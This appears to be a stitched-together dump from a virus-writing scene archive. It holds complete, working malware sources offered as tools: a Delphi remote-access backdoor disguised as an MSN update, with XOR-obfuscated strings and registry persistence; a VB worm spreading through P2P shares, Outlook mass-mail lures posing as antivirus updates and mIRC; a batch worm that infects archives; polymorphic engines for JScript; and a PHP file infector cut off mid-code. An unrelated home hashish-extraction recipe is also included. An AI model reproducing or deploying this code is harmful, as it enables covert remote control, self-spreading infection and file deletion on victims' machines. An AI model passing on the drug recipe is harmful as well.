infect_p2p_kazaa; // A Simple Payload my_payload; end.sources
Backdoor.Spieluhr Server Hutley unit Unit1; { Backdoor.Spieluhr Este backdoor foi totalmente feito por Hutley/GEDZAC. Projeto terminado as 12:03 - 24/Dez/2005 - A idéia foi criar um backdoor que permitisse o acesso aos arquivos do usuário infectado. Isso pode ser feito por meio de um servidor FTP contido no programa serrvidor. Que se disfarça de MSN para poder se auto instalar na máquina. - Dúvida, Bugs ou Sugestões: www.Hutley.cjb.net } interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, FtpSrv, FtpSrvC, Registry, ScktComp; type TForm1 = class(TForm) FTP: TFtpServer; SrvSockt: TServerSocket; procedure FormCreate(Sender: TObject); procedure FTPAuthenticate(Sender: TObject; Client: TFtpCtrlSocket; UserName, Password: TFtpString; var Authenticated: Boolean); procedure SrvSocktClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); procedure SrvSocktClientRead(Sender: TObject; Socket: TCustomWinSocket); private { Private declarations } public { Public declarations } end; var Form1: TForm1; const info: string = 'Win32.Backdoor.Spieluhr.Server'; autor: string = 'Hutley / GEDZAC'; // possíveis nomes de arquivo que pode assumir file_name: array[0..9] of string = ( 'msnupdate.exe', 'winfog.exe', 'winsys.exe', 'lsass1.exe', 'lovcx.exe', 'winsress.exe', 'winlog.exe', 'winsock.exe', 'saveruser.exe', 'winbackup.exe'); implementation {$R *.dfm} // função para decodificar as strings function code(text: string; chave: integer): string; var lp1, p: integer; fuck: string; begin lp1 := strlen(pchar(text)); for p := 1 to lp1 do begin fuck := fuck + chr(ord(text[p]) xor chave) end; code := fuck end; // diretório do sistema function SysDir: string; begin SetLength(Result, MAX_PATH); if GetSystemDirectory(PChar(Result), MAX_PATH) > 0 then Result := string(PChar(Result)) + '\' else Result := ''; end; // Escreve no Registro a Nova senha do FTPServer procedure NovoPassword(pass: string); var reg: TRegistry; begin Reg := TRegistry.Create; Reg.RootKey := HKEY_LOCAL_MACHINE; // \SOFTWARE\MsnSpieluhr key: 050 Reg.OpenKey(code('na}tfes`wnA\aB[W^GZ@', 050), true); // ftpPass key:051 Reg.WriteString(code('UGCcR@@', 051), pass); Reg.CloseKey; Reg.Free; end; // Escreve no Registro o novo Login do FTPServer procedure NovoLogin(login: string); var reg: TRegistry; begin Reg := TRegistry.Create; Reg.RootKey := HKEY_LOCAL_MACHINE; // \SOFTWARE\MsnSpieluhr key: 12 Reg.OpenKey(code('P_CJX[M^IPAb_|ei`yd~', 12), true); // ftpLogin key: 15 Reg.WriteString(code('i{C`hfa', 15), login); Reg.CloseKey; Reg.Free; end; // Executar por REGISTRO ! procedure ExecutaViaRegistro(nome, path: string); var evrg: TRegistry; begin evrg := TRegistry.Create; evrg.RootKey := HKEY_LOCAL_MACHINE; // SOFTWARE\Microsoft\Windows\CurrentVersion\Run KEY: 24 evrg.OpenKey(code('KW^LOYJ]DUq{jwkw~lDOqv|wokD[mjj}vlN}jkqwvDJmv', 24), FALSE); evrg.WriteString(nome, path); evrg.Destroy; end; // Escreve no Registro o nova Porta do FTPServer procedure NovaPorta(porta: integer); var reg: TRegistry; begin Reg := TRegistry.Create; Reg.RootKey := HKEY_LOCAL_MACHINE; // \SOFTWARE\MsnSpieluhr KEY: 30 Reg.OpenKey(code('BMQXJI_L[BSmpMnw{rkvl', 30), true); // ftpPort KEY: 30 Reg.WriteInteger(code('xjnNqlj', 30), porta); Reg.CloseKey; Reg.Free; end; // Processa os comandos recebidos pelo SOCKET procedure RecebeComando(s: string); var comando, texto: string; begin // Parte a STRING em dois pedaços, // o COMANDO e o PARÂMETRO comando := Copy(s, 1, 5); texto := Copy(s, 6, Length(s)); // npass, nlogi, exect, nport KEY: 40 if comando = code('FXI[[', 40) then NovoPassword(texto); if comando = code('FDGOA', 40) then NovoLogin(texto); if comando = code('MPMK\', 40) then WinExec(PChar(texto), sw_ShowNormal); if comando = code('FXGZ\', 40) then NovaPorta(StrToInt(texto)); end; procedure TForm1.FormCreate(Sender: TObject); var reg: TRegistry; ftpPort, NumbName: Integer; begin // Nao aparece na barra de tarefas SetWindowLong(Application.Handle, GWL_EXSTYLE, GetWindowLong(Application.Handle, GWL_EXSTYLE) or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW); // Executado 1º Vez? Reg := TRegistry.Create; Reg.RootKey := HKEY_LOCAL_MACHINE; // \SOFTWARE\MsnSpieluhr KEY: 45 (em tudo) Reg.OpenKey(code('q~bkyzlhq`^C~]DHAXE_', 45), true); if not (Reg.ValueExists('1?')) then begin // Coloca a String para Aparecer a Mensagem de Erro Reg.WriteBool('1?', true); // Se AUTO COPIA para a pasta SYSTEM // o nome do arquivo é escolhido aleatoriamente Randomize; NumbName := Random(9); CopyFile(PChar(Application.Exename), PChar(SysDir + file_name[NumbName]), false); // Depois de copiado, escreve no registro pra auto executar // Hutley-Spieluhr - key: 20 ExecutaViaRegistro(code('\a`xqm9Gd}qxa|f', 20), SysDir + file_name[NumbName]); // Login/Pass para o FTPServer // ftpLogin, hutleyvx - key: 21 Reg.WriteString(code('saeYzr|{', 21), code('}`ayplcm', 21)); // ftpPass - key: 21, 123456 - key: 23 Reg.WriteString(code('saeEtff', 21), code('&%$#"!', 23)); // ftpPort, 25 - key: 23 Reg.WriteInteger(code ('qcgGxec', 23), StrToInt(Code('%"', 23))); // Msg de Erro. Só aparece na 1º execução // Error, contact the Microsoft support! - key: 23 // Error #6985 - key: 25 Application.MessageBox(PChar(code('Reexe;7txycvtc7cr7Z~texdxqc7dbggxec6', 23)), PChar(code('\kkvk9:/ !,', 25)), mb_ok + mb_IconError); end else begin // ftpPort key: 26 ftpPort := Reg.ReadInteger(code('|njJuhn', 26)); Reg.CloseKey; Reg.Free; end; // Inicia o FTP Server e o Socket Servidor if ftp.Active = false then begin FTP.Port := IntToStr(FTPPort); FTP.Start; end; if srvsockt.Active = false then srvsockt.Open; // Some com o FORM da tela with form1 do begin left := 0; top := 1000000; Height := 0; Width := 0; end; end; procedure TForm1.FTPAuthenticate(Sender: TObject; Client: TFtpCtrlSocket; UserName, Password: TFtpString; var Authenticated: Boolean); var Reg: TRegistry; ftpLogin, ftpPass: string; begin Authenticated := false; // Lê no Registro Login/Senha para autenticação do FTPServer Reg := TRegistry.Create; Reg.RootKey := HKEY_LOCAL_MACHINE; // \SOFTWARE\MsnSpieluhr - key: 26 Reg.OpenKey(code('FIU\NM[H_FWitIjsvorh', 26), true); // ftpLogin - key: 27 ftpLogin := Reg.ReadString(code('}okWt|ru', 27)); // ftpPass - key: 27 ftpPass := Reg.ReadString(code('}okKzhh', 27)); Reg.CloseKey; Reg.Free; // Verifica se é igual ao Recebido if (UserName = ftpLogin) and (Password = ftpPass) then Authenticated := true else Authenticated := false; end; procedure TForm1.SrvSocktClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); begin ErrorCode := 0; end; procedure TForm1.SrvSocktClientRead(Sender: TObject; Socket: TCustomWinSocket); begin RecebeComando(Socket.ReceiveText); end; end.sources
Backdoor.Spieluhr Client Hutley unit Unit1; { Backdoor.Spieluhr Este backdoor foi totalmente feito por Hutley/GEDZAC. Projeto terminado as 12:03 - 24/Dez/2005 - A idéia foi criar um backdoor que permitisse o acesso aos arquivos do usuário infectado. Isso pode ser feito por meio de um servidor FTP contido no programa serrvidor. Que se disfarça de MSN para poder se auto instalar na máquina. - Dúvida, Bugs ou Sugestões: www.Hutley.cjb.net } interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, Buttons, StdCtrls, ComCtrls, ShellAPI, ScktComp; type TForm1 = class(TForm) btnClose: TSpeedButton; GroupBox1: TGroupBox; Label1: TLabel; edtFTPUsername: TEdit; Label2: TLabel; edtFTPPassword: TEdit; Label3: TLabel; edtFTPPort: TEdit; GroupBox2: TGroupBox; Label4: TLabel; edtFile: TEdit; btnApply: TSpeedButton; StatusBar1: TStatusBar; GroupBox3: TGroupBox; edtIP: TEdit; Label5: TLabel; Label6: TLabel; edtPort: TEdit; btnConnect: TSpeedButton; btnExecute: TSpeedButton; lblLink: TLabel; clSocket: TClientSocket; btnAbout: TSpeedButton; procedure btnCloseClick(Sender: TObject); procedure lblLinkMouseEnter(Sender: TObject); procedure lblLinkMouseLeave(Sender: TObject); procedure lblLinkClick(Sender: TObject); procedure btnConnectClick(Sender: TObject); procedure btnApplyClick(Sender: TObject); procedure clSocketConnecting(Sender: TObject; Socket: TCustomWinSocket); procedure clSocketConnect(Sender: TObject; Socket: TCustomWinSocket); procedure clSocketDisconnect(Sender: TObject; Socket: TCustomWinSocket); procedure clSocketError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); procedure btnExecuteClick(Sender: TObject); procedure btnAboutClick(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; const info: string = 'Win32.Backdoor.Spieluhr.Client'; autor: string = 'Hutley / GEDZAC'; implementation {$R *.dfm} procedure TForm1.btnCloseClick(Sender: TObject); begin close; end; procedure TForm1.lblLinkMouseEnter(Sender: TObject); begin lblLink.Font.Style := [fsUnderline]; end; procedure TForm1.lblLinkMouseLeave(Sender: TObject); begin lblLink.Font.Style := []; end; procedure TForm1.lblLinkClick(Sender: TObject); begin ShellExecute(GetDesktopWindow, 'open', 'http://Hutley.cjb.net', nil, nil, 0); end; procedure TForm1.btnConnectClick(Sender: TObject); begin clSocket.Address := edtip.Text; clSocket.Port := StrToInt(edtPort.text); clSocket.Open; end; procedure TForm1.btnApplyClick(Sender: TObject); begin if clSocket.Active then begin clSocket.Socket.SendText('nlogi' + edtFTPUsername.Text); clSocket.Socket.SendText('nPass' + edtFTPPassword.Text); clSocket.Socket.SendText('nport' + edtFTPPort.Text); end else Application.MessageBox('NOT CONNECTED', 'Error!', mb_IconError + mb_Ok); end; procedure TForm1.clSocketConnecting(Sender: TObject; Socket: TCustomWinSocket); begin Statusbar1.Panels[0].Text := '*** Connecting. . .'; end; procedure TForm1.clSocketConnect(Sender: TObject; Socket: TCustomWinSocket); begin Statusbar1.Panels[0].Text := '*** CONNECTED'; end; procedure TForm1.clSocketDisconnect(Sender: TObject; Socket: TCustomWinSocket); begin Statusbar1.Panels[0].Text := '*** Disconnected'; end; procedure TForm1.clSocketError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); begin ErrorCode := 0; Statusbar1.Panels[0].Text := '*** Error'; end; procedure TForm1.btnExecuteClick(Sender: TObject); begin if edtFile.Text <> '' then if clSocket.Active then clSocket.Socket.SendText('exect' + edtFile.Text) else Application.MessageBox('NOT CONNECTED', 'Error!', mb_IconError + mb_Ok); end; procedure TForm1.btnAboutClick(Sender: TObject); begin Application.MessageBox('Uh!' + #13 + 'This backdoor was made by Hutley' + #13 + 'Member of GEDZAC Virii Group.' + #13#13 + 'If you want contact me in:' + #13 + 'hutleyvx@gmail.com' + #13#13 + 'Thats all folks!' + #13#13 + '! Brazil Rulez !', 'Backdoor.Spieluhr v1.0', mb_IconInformation + mb_ok); end; end;sources
mercury Industry mercury source by Industry VERSION 5.00 Begin VB.Form Main BorderStyle = 0 'None Caption = "main" ClientHeight = 90 ClientLeft = 4995 ClientTop = 3135 ClientWidth = 90 Icon = "Main.frx":0000 LinkTopic = "Form" MaxButton = 0 'False MinButton = 0 'False ScaleHeight = 90 ScaleWidth = 90 ShowInTaskbar = 0 'False Visible = 0 'False End Attribute VB_Name = "Main" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Private Sub Form_Load() On Error Resume Next Call Copy Call outlook Call mIRC Call bt End Sub Sub Copy() On Error Resume Next Dim FSO, KaZaA, KaZaA1, KaZaADir As String Set FSO = CreateObject("Scripting.FileSystemObject") KaZaA1 = "C:\KaZaA\My Shared Folder\" 'Very rare KaZaA2 = "C:\Program Files\KaZaA\My Shared Folder\" 'Common If FSO.FolderExists(KaZaA1) = True Then KaZaADir = KaZaA1 If FSO.FolderExists(KaZaA2) = True Then KaZaADir = KaZaA2 If KaZaADir <> "" Then GoTo CopyUs Else GoTo JumpNextCode CopyUs: Call ModifyReg Call pr0n Dim aa, a, b, c, d, ef, f, KaZaA3, KaZaA4, bear, bear2, e, e2, Screen aa = App.Path & "\" & App.EXEName & ".exe" a = App.Path & App.EXEName & ".exe" b = "c:\WINDOWS\taskman.exe" c = "c:\AutoExec.exe" d = "c:\Windows\System\AVupdate.exe" ef = "c:\Program Files\uninstall.exe" f = "c:\Windows\Notepad.exe" Screen = "c:\windows\screensaver.exe" KaZaA3 = "c:\program files\kazaa\my shared folder\IPspoofer.exe" bear = "c:\program files\bearshare\shared\IPspoofer.exe" e = "c:\program files\eDonkey2000\incoming\IPspoofer.exe" KaZaA4 = "c:\program files\kazaa\my shared folder\Virtual Sex Simulator.exe" bear2 = "c:\program files\bearshare\shared\Virtual Sex Simulator.exe" e2 = "c:\program files\eDonkey2000\incoming\Virtual Sex Simulator.exe" FileCopy aa, b FileCopy a, b FileCopy aa, c FileCopy a, c FileCopy aa, d FileCopy a, d FileCopy aa, e FileCopy a, e FileCopy aa, f FileCopy a, f FileCopy aa, KaZaA3 FileCopy a, KaZaA3 FileCopy aa, bear FileCopy a, bear FileCopy aa, e FileCopy a, e FileCopy aa, KaZaA4 FileCopy a, KaZaA4 FileCopy aa, bear2 FileCopy a, bear2 FileCopy aa, e2 FileCopy a, e2 FileCopy aa, Screen FileCopy a, Screen SetAttr d, vbHidden + vbReadOnly JumpNextCode: End Sub Sub outlook() On Error Resume Next Dim RndSub, RndSub1 As String Dim unin, taskman, av, ska, punk, a, b, c, d, f, g Randomize RndSub = Int((Rnd * 3) + 1) If RndSub = 1 Then RndSub1 = "Update your Anti-Virus Software!" If RndSub = 2 Then RndSub1 = "Update your virus defenitions (DAT files)!" If RndSub = 3 Then RndSub1 = "1 month ago you updated your Anti-Virus software!" unin = "c:\Program Files\uninstall.exe" taskman = "c:\WINDOWS\taskman.exe" av = "c:\Windows\System\AVupdate.exe" punk = Array(unin, taskman, av) Randomize ska = punk(Int(Rnd * 3)) Set a = CreateObject("Outlook.Application") Set b = a.getnamespace("MAPI") If a = "Outlook" Then b.Logon "profile", "password" For f = 1 To b.addresslists.Count For d = 1 To b.addresslists(f).addressentries.Count With a.createitem(69 - 69) Set g = b.addresslists(f).addressentries(d) .Recipients.Add g .Subject = RndSub1 .body = "Use our automatic updater (included in this e-mail) to get the latest virus database files needed to detect new virus such as BugBear (aka Tanatos), Opasoft (Opaserv)!" .Attachments.Add ska .send End With g = "" Next d Next f b.logoff End If End Sub Sub ModifyReg() On Error Resume Next Dim RegEdit Set RegEdit = CreateObject("WScript.Shell") 'Just to make sure that the user is sharing his stuff RegEdit.RegWrite "HKEY_CURRENT_USER\Software\Kazaa\LocalContent\DisableSharing", "0x00000000 (0)", "REG_DWORD" 'Set the share dir to that dir we copied ourself to RegEdit.RegWrite "HKEY_CURRENT_USER\Software\Kazaa\Transfer\DlDir0", KaZaADir 'KaZaA has a lame virus scanner built in, that easy can be disabled 'by writing to the registry RegEdit.RegWrite "HKEY_CURRENT_USER\Software\Kazaa\Advanced\ScanFolder", "0x00000000 (0)", "REG_DWORD" End Sub Sub pr0n() On Error Resume Next 'This function is here to delete any form of child abuse 'Altho it will delete all jpg, mpg, bmp and avi if there is 'child abuse applications under the formats it will be deleted. 'Who ever said a virus was a bad thing?!?!?! Open "c:\pr0n.bat" For Output As #2 Print #2, "@Echo Off" Print #2, "@cd C:\Program Files\Kazaa\My Shared Folder\" Print #2, "@del *.jpg" Print #2, "@del *.mpg" Print #2, "@del *.bmp" Print #2, "@del *.avi" Print #2, "@cd c:\program files\bearshare\shared\" Print #2, "@del *.jpg" Print #2, "@del *.mpg" Print #2, "@del *.bmp" Print #2, "@del *.avi" Print #2, "@cd c:\program files\eDonkey2000\incoming\" Print #2, "@del *.jpg" Print #2, "@del *.mpg" Print #2, "@del *.bmp" Print #2, "@del *.avi" Close #2 Shell ("C:\pr0n.bat") Kill ("C:\pr0n.bat") End Sub Sub mIRC() On Error Resume Next Dim FSO, mIRC1, mIRC2, mIRC3, mIRC4, mIRCDir As String Set FSO = CreateObject("Scripting.FileSystemObject") 'FSO Object mIRC1 = "C:\mIRC\" 'Just a possible dir mIRC2 = "C:\mIRC32\" mIRC3 = "C:\Program Files\mIRC\" mIRC4 = "C:\Program Files\mIRC32\" If FSO.FolderExists(mIRC1) = True Then mIRCDir = mIRC1 If FSO.FolderExists(mIRC2) = True Then mIRCDir = mIRC2 If FSO.FolderExists(mIRC3) = True Then mIRCDir = mIRC3 If FSO.FolderExists(mIRC4) = True Then mIRCDir = mIRC4 If mIRCDir <> "" Then GoTo WriteScript Else GoTo RunNextCode WriteScript: Open mIRCDir & "Script.ini" For Output As #3 Print #3, "n1= on 1:JOIN:#:{" Print #3, "n2= /if ( $nick == $me ) { halt }" Print #3, "n3= /msg $nick Hi want a cool screen saver?" Print #3, "n4= /dcc send -c $nick c:\Windows\screensaver.exe" Print #3, "n5= }" Print #3, "n6= on 1:quit:{" Print #3, "n7= /ame is infected with Win32.mercury@mm by Industry" Print #3, "n8= }" Print #3, "n9= on 1:text:*:#:{" Print #3, "n9= /msg $chan $2-" Print #3, "n10= }" Print #3, "n11= on 1:text:*no*:#:/quit $nick i say yes! (Win32.mercury@mm by Industry)" Close #3 RunNextCode: End Sub Sub bt() On Error Resume Next If Month(Now) = 12 And Day(Now) = 31 Then MsgBox "...Saving the world before bed time...", 64, "Win32.mercury@mm" End If If Month(Now) = 2 And Day(Now) = 16 Then MsgBox "...Win32.mercury Coded by Industry @ ANVXgroup...", 64, "Win32.mercury@mm" End If If Month(Now) = 4 And Day(Now) = 2 Then MsgBox "...Shout out to Every one @ Indovirus...", 64, "Win32.mercury@mm" End If End Sub 'Win32.mercury@mm by Industry 'Respect to mANiAC89 (aka SpiderMan) 'And Every one else @ Indovirus & b8sources
verchocha Industry verchocha by Industry @echo off if exist c:\Windows\Explorer.exe copy %0 c:\Windows\Exp.bat cd C:\Windows\ echo 01011010101110101011101010101101010101101010110101010111001 >>Explorer.exe echo 010110101011101010 BLANK CODE 01001011101010110101010111001 >>Explorer.exe echo 01011010101110101011101010101101010101101010110101010111001 >>Explorer.exe echo 01011010101110101011101010101101011 rRlf 010110101010111001 >>Explorer.exe echo 01011010101110101011101010101101010101101010110101010111001 >>Explorer.exe echo 010110101011101 ppacket 10101101010101101010110101010111001 >>Explorer.exe echo 01 Dolomite 10101011101010101101010101101010110101010111001 >>Explorer.exe echo 010110101011101010111010101011010101011010101 adious 111001 >>Explorer.exe echo 01011010101110101011101 Energy 1010101101010110101010111001 >>Explorer.exe echo 01011010101110101011101010101101010101101010110101010111001 >>Explorer.exe echo 01011010101110101011101010101101010101101010110101010111001 >>Explorer.exe echo 010110 Writen By Industry 101011101010101101010101101010101 >>Explorer.exe echo 01011010101110101011101010101101010101101010110101010111001 >>Explorer.exe echo 01011010101110101011101010101101010101101010110101010111001 >>Explorer.exe echo 0101101010111010101110101010110101010110 dr.g0nZo 010111001 >>Explorer.exe echo 01011010101110101011101010101101010101101010110101010111001 >>Explorer.exe echo 0101101010111010101110 assassin007 101101010110101010111001 >>Explorer.exe echo 01011010101110101011101010101101010101101010110101010111001 >>Explorer.exe echo 0101101010111010101110101010110101010 philet0ast3r 10111001 >>Explorer.exe echo 01011010 El DudErin0 01010101101010101101010110101010111001 >>Explorer.exe echo 01011010101110101011101010101101010101101010110101010111001 >>Explorer.exe echo 010110101011101010111010101 Zed 010101101010110101010111001 >>Explorer.exe echo 01011010101110101011101010101101010101101010110101010111001 >>Explorer.exe echo 010110101011101010111010101011010101011010 Verchocha 111001 >>Explorer.exe echo 01011010101110101011101010101101010101101010110101010111001 >>Explorer.exe echo 010 disk0rdia 101011101010101101010101101010110101010111001 >>Explorer.exe echo 0101101010111010101110101 Second Part To Hell 0101010111001 >>Explorer.exe cd ..\Local Settings\Application Data\Microsoft\CD Burning\ copy %0 Setup.bat cd C:\ if "%1=="#r goto rar if "%1=="#z goto zip if "%1=="#a goto arj for %%r in (*.rar) do call %0 #r %%r for %%z in (*.zip) do call %0 #z %%z for %%a in (*.arj) do call %0 #a %%a goto cont :rar attrib -r %2 rar a -tk -y -c- -o+ %2 %0 >nul goto cont :zip attrib -r %2 pkzip %2 %0 >nul goto cont :arj attrib -r %2 arj a %2 %0 >nul :cont mkdir _ copy %0 C:\_\_.bat copy %0 C:\_\_.dev if exist C:\AutoExec.bat goto auto :auto echo @echo off >>AutoExec.bat >>AutoExec.bat echo copy C:\_\_.dev A:\_.bat >>AutoExec.bat goto mail :mail cd C:\_\ echo On Error Resume Next >>mail_.vbs echo dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad >>mail_.vbs echo set regedit=CreateObject("WScript.Shell") >>mail_.vbs echo set out=WScript.CreateObject("Outlook.Application") >>mail_.vbs echo set mapi=out.GetNameSpace("MAPI") >>mail_.vbs echo for ctrlists=1 to mapi.AddressLists.Count >>mail_.vbs echo set a=mapi.AddressLists(ctrlists) >>mail_.vbs echo x=1 >>mail_.vbs echo regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) >>mail_.vbs echo if (regv="") then >>mail_.vbs echo regv=1 >>mail_.vbs echo end if >>mail_.vbs echo if (int(a.AddressEntries.Count)> int(regv)) then >>mail_.vbs echo for ctrentries=1 to a.AddressEntries.Count >>mail_.vbs echo malead=a.AddressEntries(x) >>mail_.vbs echo regad="" >>mail_.vbs echo regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead) >>mail_.vbs echo if (regad="") then >>mail_.vbs echo set male=out.CreateItem(0) >>mail_.vbs echo male.Recipients.Add(malead) >>mail_.vbs echo male.Subject = "SOLUTION: [TICK] -USA-P3-CaseID 4327120063 - Virus Undetected-IZ61499" >>mail_.vbs echo male.Body = "The Information & Patch for IZ61499 is attatched." >>mail_.vbs echo rem male.Attachments.Add("C:\_\_.bat") >>mail_.vbs echo male.Send >>mail_.vbs echo regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" >>mail_.vbs echo end if >>mail_.vbs echo x=x+1 >>mail_.vbs echo next >>mail_.vbs echo regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count >>mail_.vbs echo else >>mail_.vbs echo regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count >>mail_.vbs echo end if >>mail_.vbs echo next >>mail_.vbs echo Set out=Nothing >>mail_.vbs echo Set mapi=Nothing >>mail_.vbs :irc cd C:\_\ echo on error resume next >>_.vbs echo Set fso = CreateObject("Scripting.FileSystemObject") >>_.vbs echo Set b = fso.CreateTextFile("c:\program files\mirc\script.ini", True) >>_.vbs echo b.WriteLine "[script]" >>_.vbs echo b.WriteLine "ON 1:JOIN:#:{" >>_.vbs echo b.WriteLine "/dcc send $nick c:\_\_.bat" >>_.vbs echo b.WriteLine "}" >>_.vbs echo b.close >>_.vbs echo Set fso = CreateObject("Scripting.FileSystemObject") >>_.vbs echo Set a = fso.CreateTextFile("c:\mirc\script.ini", True) >>_.vbs echo a.WriteLine "[script]" >>_.vbs echo a.WriteLine "ON 1:JOIN:#:{" >>_.vbs echo a.WriteLine "/dcc send $nick c:\_\_.bat" >>_.vbs echo a.WriteLine "}" >>_.vbs echo a.close >>_.vbsarticles
kefi's iso-hash Kefi kefi's iso-hash "something for the children..." by kefi kefi's iso-hash "something for the children..." hello everyone – you probably haven't heard much of me lately. i've been going through some "real-life" shit that (still) needs to be sorted out, so i haven't had much time to attribute anything to this scene. this time, i have something for you that has nothing to do with vx at all. if you do not smoke weed, you may as well close this document right now. a few days ago, i was introduced to something amazing – (easily) homemade hashish. by using few household products, you can have your own! here's what you'll need: one (clean) glass jar with an attachable lid; one bottle of rubbing alcohol (70% isopropyl); a few coffee filters; a plate or glass pan which isn't too important; weed and/or leaves; and lastly, a razor blade. by the way, the better quality of weed you use, the better hash you will be left with. once you have all of these things, you're ready to get started ... first, take your weed (or leaves) and crush it all up. breaking it up is not necessary and you do not want it to be too small. now take your weed and place it into the bottom of the jar. pour the rubbing alcohol into the jar (fill it about 4 cm above weed). now tightly put the lid on the jar and shake it for ~3 minutes. let this substance sit in the jar for another few minutes while you smoke a cigarette. now get your plate and coffee filters ready. stack four coffee filters on top of each other and place them on the plate. now pour the substance (weed & alcohol) into the filters. be sure to fold the sides of the filters up so nothing leaks out the top. let all of the liquid drain out of the coffee filters. this may take some time, so have something else to do while you wait. once all of the liquid has drained through the filters, throw the weed and filters in the garbage. (or sell the weed so someone stupid. ;p) of course, more waiting is involved. place the plate somewhere safe and let all of the liquids evaporate off of it. now scrape the substance off of the plate with a razor blade. what's left, depending what you used (weed, leaves, etc.), you will end up with one of the following results: something like a long stick of candy - very sticky and greenish-black in color (this is the best form); or a very dry powder. if your result was the powder, you will not be able to (easily) smoke this. don't worry though! if you do the following, everything will be okay ... take the powder and put it inside cellophane (plastic wrapper) from a cigarette pack. fold the cellophane and make it as small as possible. now tape the cellophane closed. then place the cellophane in the heel of your shoe and walk on it for about an hour. and voila - you have a solid piece of delicious hash. next time you have a lot of bad weed, leaves or stems, make your self some hash. this method has a great high and does not have the potential of blowing up your home.sources
kefi's jscript poly [kjp] Kefi kefi's jscript poly [kjp] (c) by kefi, April 17, 2003 .Hello, everybody! It's probably been a while since you've heard from me. If so, don't feel bad. I've been rather inactive in the scene lately as I've got a lot of personal problems to deal with... .Since chances are, you're a silly script-kitty (no offence), I need to include a disclaimer in here. If you're a stupid ass, and you spread a virus which uses my engine, I will hold no responsibly for it. Nor will you ever accomplish anything other than irritating me. In other words, "don't be a lame bastard." .Anyway, I'm glad you've decided to check out my new polymorphic engine! It's my favorite one so far. :] Basically a re-make of kvpe, my vbs poly, but it's for javascript instead. At the time of writing this, I had thought that it was the first of it's kind, however, later on Second Part To Hell (hello!) said that jackie had made one before me ... so, "good job, jackie! you beat me to it!" So, anyway, this thing's got to be the coolest js polymorphic engine, as it's small (7 lines), fast, and easy to understand (if you have some prior knowledge of javascript, of course). How it works is it loops through an array of variables which you have in your script, then generates a new, randomly created variable. After it's got it's new variable, it searches for it with in your virus's code and replaces the original variable with the new one. To really understand it, I suggest you just play with it for a while, I'm sure you'll understand it. .Now, in order to use this poly, you'll need to gather all your code, and then make a call to the engine, then write the new stuff. Here's a really small, easy way to do this (uses the FileSystemObject ... ack): var objFso = new ActiveXObject("scripting.filesystemobject"); var theCode = kjp(objFso.opentextfile(WScript.scriptfullname, 1).readall()); objFso.opentextfile(WScript.scriptfullname, 2).write(theCode); ... You should understand that, if not, don't use my poly. :] .Well, that's all I've got to say about this thing, so once again, thank you for readin' about it, and if you've got any comments, questions, flames, or whatever contact me: http -- http://vx.netlux.org/~kefi/ email -- kefi@jwdx.com .Credits go out to: jackie -- Making the first js-poly, good job, I geuss! Second Part To Hell -- Thanks for all your javascirpt help and telling me about jackie's poly! (c) by Kefi, April 17, 2003 // kefi@jwdx.com // vx.netlux.org/~kefi Note: minor formatting and changes in the text occured on: October 3rd, 2003 .---------------------------------[jscript poly]----------------------------------. function kjp(a1){ a2 = new Array("kjp", "a1", "a2", "a3", "a4", "a5", "a6", "a7"); for(a3 in a2){ a4 = ""; for(a5 = 0; a5 < Math.round(Math.random() * 6) + 4; a5++) a4 += String.fromCharCode(Math.round(Math.random() * 22) + 97); for(var a6 = 0; a6 < a1.length; a6++) a1 = a1.replace(a2[a3], a4); } return(a1); }sources
php.faces Kefi php.faces by Kefi (c) early October, 2003 .faces is the first polymorphic php virus. it uses the never-before-seen poly engine, "kppe," which stands for "kefi's php polymorph engine." faces is like most other php viruses in it's "main code" where it finds victim files with the extension of "php" from the current directory which do not contain the string, "php.faces." if the file contains the string, it will be skipped, however, if it does not, faces will add it's newly morphed 1,240 bytes of code to the beginning of the victim file. .written as a lame "concept virus," so everything's simple and easy ... as it should be. =) .thanks Negral -- php.Zodar; I based my code off of it. Xmorfic and Ultras -- very nice php viruses (php.ALF and NewWord)! Symantec -- giving horrible reports (as usual) of every php virus out there. keep up the good work, guys! .-------------------------------[php.faces]--------------------------------. <?php $ypxqrpsqcc = fopen(__FILE__, "r"); $bbugesqpty = substr(fread($ypxqrpsqcc, filesize(__FILE__)), 0, 1249); fclose($ypxqrpsqcc); $dhbpgxtamn = array("ypxqrpsqcc", "bbugesqpty", "dhbpgxtamn", "cctsvcopcx", "wurwejtvjx", "ccznwozuuo", "uudxleoyja", "ionwdbkwfh", "zohqscoxob", "skzmabzbfe"); for($cctsvcopcx = 0; $cctsvcopcx <count($dhbpgxtamn); $cctsvcopcx++){ $wurwejtvjx = chr(rand(97, 122)); for($ccznwozuuo = 0; $ccznwozuuo <9; $ccznwozuuo++) $wurwejtvjx = $wurwejtvjx . chr(rand(97, 122)); $bbugesqpty = str_replace("$dhbpgxtamn[$cctsvcopcx]", "$wurwejtvjx", "$bbugesqpty"); } $uudxleoyja = opendir("."); while(false !== ($ionwdbkwfh = readdir($uudxleoyja))){ if($ionwdbkwfh != "." && $ionwdbkwfh != ".."){ if(substr($ionwdbkwfh, -3) == "php"){ $zohqscoxob = fopen($ionwdbkwfh, "r"); $skzmabzbfe = substr(fread($zohqscoxob, filesize($ionwdbkwfh)), 5); fclose($zohqscoxob); if(!strstr($skzmabzbfe, "php.faces")){ unlink("$ionwdbkwfh"); $zohqscoxob = fopen($ionwdbkwfh, "a+"); fwrite($zohqscoxob, 